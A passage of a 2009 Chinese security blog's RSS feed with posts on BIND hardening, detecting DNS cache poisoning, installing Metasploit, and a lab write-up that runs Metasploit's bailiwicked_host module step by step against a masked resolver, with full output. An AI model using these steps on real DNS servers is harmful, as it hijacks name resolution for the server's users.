"font-family: &quot;Bitstream Vera Sans&quot;;">关闭递归查询功能</span><span lang="EN-US">(</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">递归查询应该是企业内部的</span><span lang="EN-US">dns</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">服务器所提供的功能</span><span lang="EN-US">)<br>

options {<br>
recursion no;<br>
};<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">在</span><span lang=
"EN-US">bind8</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">中，还需关闭</span><span lang="EN-US">fetch-glue,
bind9</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">之后已经默认关闭了。</span>
<span lang="EN-US"><br>
options {<br>
fetch-glue no;<br>
};<br>
<br>
6.</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">利用视图</span><span lang="EN-US">(view)</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">将授权和查询两个功能和二为一</span>
<span lang="EN-US"><br>
options {<br>
directory "/var/named";<br>
};<br>
acl "internal" {<br>
192.249.249/24; 192.253.253/24; 192.253.254/24;<br>
};<br>
view "internal" {<br>
match-clients { "internal"; };<br>
recursion yes;<br>
zone "movie.edu" {<br>
type master;<br>
file "db.movie.edu";<br>
};<br>
zone "249.249.192.in-addr.arpa" {<br>
type master;<br>
file "db.192.249.249";<br>
};<br>
zone "." {<br>
type hint;<br>
file "db.cache";<br>
};<br>
};<br>
view "external" {<br>
match-clients { any; };<br>
recursion no;<br>
zone "movie.edu" {<br>
type master;<br>
file "db.movie.edu";<br>
};<br>
zone "249.249.192.in-addr.arpa" {<br>
type master;<br>
file "db.192.249.249";<br>
};<br>
zone "." {<br>
type hint;<br>
file "db.cache";<br>
};<br>
};<br>
<br></span> <span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">另外</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">尽管</span><span lang="EN-US">dnssec</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">已经喊了很多年</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">同时有了去年</span><span lang="EN-US">dns
cache poison</span><span style=
"font-family: &quot;Bitstream Vera Sans&quot;;">的教训。但是我觉得</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">在可见的一段时间内</span><span lang="EN-US">,</span><span style="font-family: &quot;Bitstream Vera Sans&quot;;">还是比较难以部署的。</span>
]]></description><guid>http://www.i170.com/Article/118373</guid><trackback:ping>http://www.i170.com/Article/118373/trackback</trackback:ping><comments>http://www.i170.com/Article/118373#comment</comments><wfw:commentRss>http://www.i170.com/Article/118373/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118361</link><title><![CDATA[[实验文]利用BIND进行DNS POISONING利用]]></title><author>demonalex</author><category>安全技术</category><pubDate>Thu, 13 Aug 2009 17:54:32  +0800</pubDate><description><![CDATA[<p>[实验文]利用BIND进行DNS POISONING利用<br>
writer: 黄超毅/demonalex[at]dark2s[dot]org<br>
<br>
<br>
[手工探测方式]<br>
#nslookup&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--在命令行输入nslookup命令<br>
&gt;server 待探测的DNS服务器地址&nbsp; &lt;--切换查询的DNS服务器为“待探测的DNS服务器地址”<br>
&gt;set
type=txt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--此命令用于使metasploit.com的DNS SOA服务器返回txt记录的内容（其中包含查询时使用的源端口）<br>
&gt;spoofprobe-check-1-2492399741.red.metasploit.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--查询该URL的TXT记录，用于看返回信息<br>
同时查询两次，若返回结果是：<br>
&gt; spoofprobe-check-1-2492399741.red.metasploit.com<br>
Server:&nbsp; [6x.14x.4x.9x]<br>
Address:&nbsp; 6x.14x.4x.9x<br>
<br>
DNS request timed out.<br>
&nbsp;&nbsp;&nbsp; timeout was 2 seconds.<br>
Non-authoritative answer:<br>
spoofprobe-check-1-2492399741.red.metasploit.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
text =<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "6x.14x.4x.9x:32768 IN
IN::TXT spoofprobe-check-1-2492399741.red.metasploit.com"<br>
red.metasploit.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameserver =
3600.ns.red.metasploit.com<br>
&gt; spoofprobe-check-1-2492399741.red.metasploit.com<br>
Server:&nbsp; [6x.14x.4x.9x]<br>
Address:&nbsp; 6x.14x.4x.9x<br>
<br>
Non-authoritative answer:<br>
spoofprobe-check-1-2492399741.red.metasploit.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
text =<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "6x.14x.4x.9x:32768 IN
IN::TXT spoofprobe-check-1-2492399741.red.metasploit.com"<br>
red.metasploit.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameserver =
3600.ns.red.metasploit.com<br>
&gt;<br>
通过上面返回的例子可以确认6x.14x.4x.9x这个地址在两次返回的端口都是“32768”，则可以证明它存在“同一客户端向其查询时使用相同<br>

的静态端口发送查询请求”这个问题，换句话说就是确认DNS poison风险了。<br></p>
<p class="partingline">[separator]</p>
<br>
<br>
[自动化检查方式]<br>
还有一种比较简单的方式是通过在线自动化工具来进行检查。具体工具地址为：http://recursive.iana.org/。<br>
在http://recursive.iana.org/中输入ns记录域名后按“提交查询内容”按钮即可输出报告。<br>
<br>
<br>
[利用方式]<br>
根据metasploit中bailiwicked_domain与bailiwicked_host模块的作者“H D
Moore”的说明可以得知，WINDOWS下的MSF版本是不支持使用<br>
ruby的RAW SOCKET发包的，因此WINDOWS的MSF版本无法使用该漏洞的利用模块。<br>
相关信息贴地址：<br>
http://spool.metasploit.com/pipermail/framework/2009-February/008837.html<br>

信息贴内容：<br>
————————————————————————————————————————<br>
This happens with the windows version; we don't have raw socket
support<br>
in Windows, so the exploit wont work, its just a terrible error
message<br>
<br>
On Tue, 2009-02-24 at 08:41 +0530, Aczire wrote:<br>
&gt; Hi,<br>
&gt; Any ticket open, or my mistake? Any diff is most welcome.<br>
&gt; Using 3.3-dev<br>
&gt; Also is it same for the ms 08-037, I haven't made any attempt
to<br>
&gt; target it<br>
&gt; on to XP SP2/3 or is it specific to bind only?<br>
&gt;<br>
&gt; 08:29:52 [*] Launching auxiliary
spoof/dns/bailiwicked_domain...<br>
&gt; 08:29:53 [-] Auxiliary failed: TypeError can't convert FakeOut
into<br>
&gt; String<br>
————————————————————————————————————————<br>
最后还是要在LINUX下跑metasploit就能成功发动攻击，具体操作过程如下：<br>
首先进入msfconsole，然后进行以下命令操作：<br>
root@demonalex-laptop:/usr/local/sbin/framework# ./msfconsole<br>
msf &gt; use
auxiliary/spoof/dns/bailiwicked_host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--载入相关模块<br>
msf auxiliary(bailiwicked_host) &gt; set RHOST
6x.14x.4x.9x&nbsp;&nbsp;&nbsp; &lt;--设置待攻击主机的IP地址<br>
RHOST =&gt; 6x.14x.4x.9x<br>
msf auxiliary(bailiwicked_host) &gt; set SRCPORT
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--设置发送欺骗包的源端口，若为0则为随机<br>
SRCPORT =&gt; 0<br>
确认一下检测配置：<br>
msf auxiliary(bailiwicked_host) &gt; show options<br>
Module options:<br>
&nbsp;&nbsp; Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Current
Setting&nbsp;&nbsp;&nbsp; Required&nbsp;
Description&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; ----&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------&nbsp;&nbsp;&nbsp; --------&nbsp;
-----------&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; HOSTNAME&nbsp; pwned.example.com&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hostname to
hijack&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; NEWADDR&nbsp;&nbsp;
1.3.3.7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; New address for
hostname&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; RECONS&nbsp;&nbsp;&nbsp;
208.67.222.222&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The nameserver used for
reconnaissance&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; RHOST&nbsp;&nbsp;&nbsp;&nbsp;
6x.14x.4x.9x&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The target
address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; SRCADDR&nbsp;&nbsp;
Real&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The source address to use
for sending the queries (accepted: Real, Random) &nbsp;<br>
&nbsp;&nbsp; SRCPORT&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The target server's source
query port (0 for
automatic)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; TTL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
30397&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The TTL for the malicious
host
entry&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; XIDS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The number of XIDs to try
for each query (0 for
automatic)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
来到这一步我们可以先进行一次检测，确认是否存在漏洞：<br>
msf auxiliary(bailiwicked_host) &gt; check<br>
[*] Using the Metasploit service to verify exploitability...<br>
[*]&nbsp; &gt;&gt; ADDRESS: 6x.14x.4x.9x&nbsp; PORT: 32768<br>
[*]&nbsp; &gt;&gt; ADDRESS: 6x.14x.4x.9x&nbsp; PORT: 32768<br>
[*]&nbsp; &gt;&gt; ADDRESS: 6x.14x.4x.9x&nbsp; PORT: 32768<br>
...<br>
[*]&nbsp; &gt;&gt; ADDRESS: 6x.14x.4x.9x&nbsp; PORT: 32768<br>
[*]&nbsp; &gt;&gt; ADDRESS: 6x.14x.4x.9x&nbsp; PORT: 32768<br>
[*]&nbsp; &gt;&gt; ADDRESS: 6x.14x.4x.9x&nbsp; PORT: 32768<br>
[*] FAIL: This server uses a static source port and is vulnerable
to poisoning<br>
如果你的输出结果显示与以上雷同的话那就恭喜你了－－你的对象已满足攻击的第一个条件，就是“使用了静态的请求端口”（备注：本文中<br>
所提及的手动检测方式就是参照此功能实现的）。OK，现在可以开始尝试攻击了：<br>
msf auxiliary(bailiwicked_host) &gt; run<br>
[*] Switching to target port 32768 based on Metasploit service<br>
[*] Targeting nameserver 6x.14x.4x.9x for injection of
pwned.example.com. as 1.3.3.7<br>
[*] Querying recon nameserver for example.com.'s nameservers...<br>
[*]&nbsp; Got an NS record:
example.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
172303&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a.iana-servers.net.<br>
[*]&nbsp;&nbsp; Querying recon nameserver for address of
a.iana-servers.net....<br>
[*]&nbsp;&nbsp;&nbsp; Got an A record:
a.iana-servers.net.&nbsp;&nbsp;&nbsp;&nbsp; 20601&nbsp;&nbsp;
IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 192.0.34.43<br>
[*]&nbsp;&nbsp;&nbsp;&nbsp; Checking Authoritativeness: Querying
192.0.34.43 for example.com....<br>
[*]&nbsp;&nbsp;&nbsp;&nbsp; a.iana-servers.net. is authoritative
for example.com., adding to list of nameservers to spoof as<br>
[*]&nbsp; Got an NS record:
example.com.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
172303&nbsp; IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
NS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b.iana-servers.net.<br>
[*]&nbsp;&nbsp; Querying recon nameserver for address of
b.iana-servers.net....<br>
[*]&nbsp;&nbsp;&nbsp; Got an A record:
b.iana-servers.net.&nbsp;&nbsp;&nbsp;&nbsp; 20600&nbsp;&nbsp;
IN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 193.0.0.236<br>
[*]&nbsp;&nbsp;&nbsp;&nbsp; Checking Authoritativeness: Querying
193.0.0.236 for example.com....<br>
[*]&nbsp;&nbsp;&nbsp;&nbsp; b.iana-servers.net. is authoritative
for example.com., adding to list of nameservers to spoof as<br>
[*] Calculating the number of spoofed replies to send per
query...<br>
[*]&nbsp;&nbsp; race calc: 100 queries | min/max/avg time:
0.2/0.49/0.25 | min/max/avg replies: 6/66/25<br>
[*] Sending 18 spoofed replies from each nameserver (2) for each
query<br>
[*] Attempting to inject a poison record for pwned.example.com.
into 6x.14x.4x.9x:32768...<br>
[*] Sent 1000 queries and 36000 spoofed responses...<br>
[*] Recalculating the number of spoofed replies to send per
query...<br>
[*]&nbsp;&nbsp; race calc: 25 queries | min/max/avg time:
0.2/170.61/7.05 | min/max/avg replies: 7/63596/2571<br>
[*] Now sending 1928 spoofed replies from each nameserver (2) for
each query<br>
来到这一步如果是成功的话，我们将成功篡改6x.14x.4x.9x这台DNS服务器的DNS缓存中相关A记录pwned.example.com的对应地址为1.3.3.7<br>

。如果输出的结果是：<br>
[*] Switching to target port 32768 based on Metasploit service<br>
[*] Failure: This hostname is already in the target cache:
pwned.example.com<br>
[*]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cache
entry expires on Fri Aug 14 09:05:16 +0800 2009... sleeping.<br>
则证明这条pwned.example.com的A记录在被攻击前已经在待攻击DNS服务器的缓存里了，需要等它的生存期结束才能进行攻击。<br>

<br>
<br>
［辨认攻击是否成功］<br>
可以通过dig或nslookup等DNS客户端进行鉴别攻击是否成功（具体可查阅http://demonalex.3322.org/cache_poison.txt）。<br>

dig检查时使用的运行格式：<br>
# dig +short 被hijack的url @被攻击的DNS服务器地址<br>
最后可能有朋友会问，“为什么攻击了很久都没有成功？”，其实攻击的必要条件是对方DNS服务器存在“使用了静态的请求端口”的缺陷，但<br>

成功与否还是要看一个随机值--Transaction
ID，而这个值是一个四位16进制数（因此有65536种可能），所以如果你攻击了很久都还没成<br>
功的话，并不是说明你的个人人品存在问题：）<br>
<br>
<br>
[总结]<br>
1）检查方式：<br>
&nbsp;&nbsp;
&nbsp;1.1检查阶段可以通过手工或在线自动检查工具来完成，其效果相同。其实手工方式是本人根据metasploit提供的检查方式而模拟出来的。<br>

2）利用方式：<br>
&nbsp;&nbsp; &nbsp;2.1利用方式我这里建议是使用metasploit framework
v3.2的LINUX版本（切记：WINDOWS下的版本不知道是由于Ruby还是操作系统的原因<br>
，无法完成伪造响应包的发送过程）。<br>
&nbsp;&nbsp;
&nbsp;2.2其实攻击的必要条件是对方DNS服务器存在“使用了静态的请求端口”的缺陷，但成功与否还是要看一个随机值--Transaction
ID，而这<br>
个值是一个四位16进制数（因此有65536种可能），所以如果你攻击了很久都还没成功的话，并不是说明你的个人人品存在问题：）<br>
3）辨认攻击是否成功：<br>
&nbsp;&nbsp;
&nbsp;3.1具体可查阅http://demonalex.3322.org/cache_poison.txt，或使用dig程序进行远程检查。
]]></description><guid>http://www.i170.com/Article/118361</guid><trackback:ping>http://www.i170.com/Article/118361/trackback</trackback:ping><comments>http://www.i170.com/Article/118361#comment</comments><wfw:commentRss>http://www.i170.com/Article/118361/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118352</link><title><![CDATA[Installing Metasploit on Ubuntu/Kubuntu/Debian Linux]]></title><author>demonalex</author><category>安全技术,胡言乱语</category><pubDate>Wed, 12 Aug 2009 21:10:42  +0800</pubDate><description><![CDATA[<p>http://trac.metasploit.com/wiki/Metasploit3/InstallUbuntu</p>
<p>&nbsp;</p>
<p>At this time, no package exists for Metasploit 3. In order to
use the Metasploit Framework on Ubuntu or Debian distributions of
Linux, the following packages need to be installed:</p>
<pre class="wiki">
# apt-get install ruby libruby rdoc<br>
# apt-get install libyaml-ruby<br>
# apt-get install libzlib-ruby<br>
# apt-get install libopenssl-ruby<br>
# apt-get install libdl-ruby<br>
# apt-get install libreadline-ruby<br>
# apt-get install libiconv-ruby<br>
# apt-get install rubygems *
</pre>
<p>*The <a href="http://www.rubygems.org/" class=
"ext-link"><span class="icon">RubyGems</span></a> package may need
to be manually downloaded and installed.</p>
<p>If you would like to use the experimental GUI, you will need to
install the following packages:</p>
<pre class="wiki">
# apt-get install libgtk2-ruby libglade2-ruby
</pre>
<p>If you would like to use the online update feature, you will
need to install the "subversion" package as well. Once the
pre-requisites have been installed, download the Unix tarball from
<a href="http://metasploit.com/framework/download">Framework
Website</a> and extract it to the directory of your choice. If
everything was installed correctly, execute the interface of your
choice to get started (msfconsole, msfweb, etc).</p>

]]></description><guid>http://www.i170.com/Article/118352</guid><trackback:ping>http://www.i170.com/Article/118352/trackback</trackback:ping><comments>http://www.i170.com/Article/118352#comment</comments><wfw:commentRss>http://www.i170.com/Article/118352/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/118273</link><title><![CDATA[[实验文]检查DNS缓存中毒的方法]]></title><author>demonalex</author><category>安全技术</category><pubDate>Thu, 06 Aug 2009 03:11:04  +0800</pubDate><description><![CDATA[<p>[实验文]检查DNS缓存中毒的方法<br>
writer: demonalex[at]dark2s[dot]org</p>
<p><br>
*DNS服务器端检测方法：<br>
本文主要探讨的是BIND服务器，以下实验针对的对象为Solaris10上安装的BIND9服务（Version: 9.2.4）。<br>
BIND服务器端检测方式有两种：通过query来辨认异常或是通过查看CACHE的记录来辨认异常。</p>
<p>1）通过query来辨认异常<br>
本功能需要开启BIND的日志审计功能，首先通过rndc命令确认是否已开启日志审计功能：<br>
-bash-3.00# rndc status<br>
number of zones: 6<br>
debug level: 0<br>
xfers running: 0<br>
xfers deferred: 0<br>
soa queries in progress: 0<br>
query logging is
OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--这里的OFF代表目前还没开启query日志审计功能<br>
server is up and running<br>
下一步是开启query记录：<br>
-bash-3.00# rndc querylog&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--此命令为query记录的开关命令<br>
再查看一下状态^_^<br>
-bash-3.00# rndc status<br>
number of zones: 6<br>
debug level: 0<br>
xfers running: 0<br>
xfers deferred: 0<br>
soa queries in progress: 0<br>
query logging is
ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;--这里的ON代表目前已开启query日志审计功能<br>
server is up and running<br>
来到这一步还需要编辑一下BIND的配置文件named.conf：<br>
-bash-3.00# vi /etc/named.conf<br>
加入以下审计配置内容块：<br>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<br>

logging {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; channel audit_log {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
file "named.log" versions 3 size 20m;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
severity info;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print-time yes;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print-category&nbsp; yes;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category default {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category general {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category security {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category config {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category resolver {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category xfer-in {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category xfer-out {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category notify {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category client {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category network {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category update {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category queries {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category lame-servers {
audit_log; };<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; category database {
audit_log; };<br>
&nbsp;&nbsp; };<br>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<br>

*注：其实只需要激活“category queries { audit_log;
};”就可以了，不过为了保证日志内容的全面性，所以...<br>
最后重新启动named：<br>
-bash-3.00# /etc/init.d/named restart<br>
现在我们就可以直接通过tail来查看日志了：<br>
-bash-3.00# tail -f /var/named/named.log<br>
其中可能包含很多类似以下的query记录：<br>
Aug 06 02:27:29.364 queries: client 192.168.20.197#13939: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:30.406 queries: client 192.168.20.197#13940: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:30.994 queries: client 192.168.20.197#13941: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:31.529 queries: client 192.168.20.197#13942: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:32.043 queries: client 192.168.20.197#13943: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:32.554 queries: client 192.168.20.197#13944: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:33.034 queries: client 192.168.20.197#13945: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:33.511 queries: client 192.168.20.197#13946: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:33.972 queries: client 192.168.20.197#13947: query:
demonalex.3322.org IN A<br>
Aug 06 02:27:34.436 queries: client 192.168.20.197#13948: query:
demonalex.3322.org IN A<br>
